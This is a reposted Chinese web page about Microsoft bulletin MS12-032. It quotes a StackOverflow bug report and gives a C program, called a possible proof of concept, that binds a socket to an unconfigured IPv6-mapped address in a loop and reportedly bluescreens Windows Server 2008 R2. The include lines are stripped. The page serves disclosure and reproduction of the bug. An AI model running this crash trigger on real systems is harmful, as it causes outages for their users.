您的位置:首页 > 理论基础 > 计算机网络

MS12-032 - Vulnerability in TCP/IP Could Allow Elevation of Privilege

2012-05-24 11:16 344 查看
Microsoft update release http://technet.microsoft.com/en-us/security/bulletin/ms12-032
Possible MS12-032 Proof of concept from
StackOverflow thx to @avivra

We discovered that running our application under certain conditions results in Windows bluescreen. After some investigation we were able to narrow down the scenario to a sample of ~50 lines of C code using Winsock2 APIs. The sample repeatedly binds to IPv6-mapped
invalid IPv4 address. Windows Server 2008 R2 crashes after several seconds running the sample. The problem reproduces on different physical machines as well as on Virtual Machines.

// the program attempts to bind to IPV6-mapped IPV4 address

// in a tight loop. If the address is not configured on the machine

// running the program crashes Windows Server 2008 R2 (if program is 32-bit)

#include

#include

#include

#include

#define IPV6_V6ONLY 27

void MyWsaStartup()

{

WORD wVersionRequested;

WSADATA wsaData;

int err;

wVersionRequested = MAKEWORD(2, 2);

err = WSAStartup(wVersionRequested, &wsaData);

if (err != 0) {

printf("WSAStartup failed with error: %d\n", err);

exit(-1);

}

}

void main()

{

MyWsaStartup();

bool bindSuccess = false;

while(!bindSuccess)

{

SOCKET sock = WSASocket(AF_INET6,

SOCK_DGRAM,

IPPROTO_UDP,

NULL,

0,

WSA_FLAG_OVERLAPPED);

if(sock == INVALID_SOCKET)

{

printf("WSASocket failed\n");

exit(-1);

}

DWORD val = 0;

if (setsockopt(sock,

IPPROTO_IPV6,

IPV6_V6ONLY,

(const char*)&val,

sizeof(val)) != 0)

{

printf("setsockopt failed\n");

closesocket(sock);

exit(-1);

}

sockaddr_in6 sockAddr;

memset(&sockAddr, 0, sizeof(sockAddr));

sockAddr.sin6_family = AF_INET6;

sockAddr.sin6_port = htons(5060);

// set address to IPV6-mapped 169.13.13.13 (not configured on the local machine)

// that is [::FFFF:169.13.13.13]

sockAddr.sin6_addr.u.Byte[15] = 13;

sockAddr.sin6_addr.u.Byte[14] = 13;

sockAddr.sin6_addr.u.Byte[13] = 13;

sockAddr.sin6_addr.u.Byte[12] = 169;

sockAddr.sin6_addr.u.Byte[11] = 0xFF;

sockAddr.sin6_addr.u.Byte[10] = 0xFF;

int size = 28; // 28 is sizeof(sockaddr_in6)

int nRet = bind(sock, (sockaddr*)&sockAddr, size);

if(nRet == SOCKET_ERROR)

{

closesocket(sock);

Sleep(100);

}

else

{

bindSuccess = true;

printf("bind succeeded\n");

closesocket(sock);

}

}

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐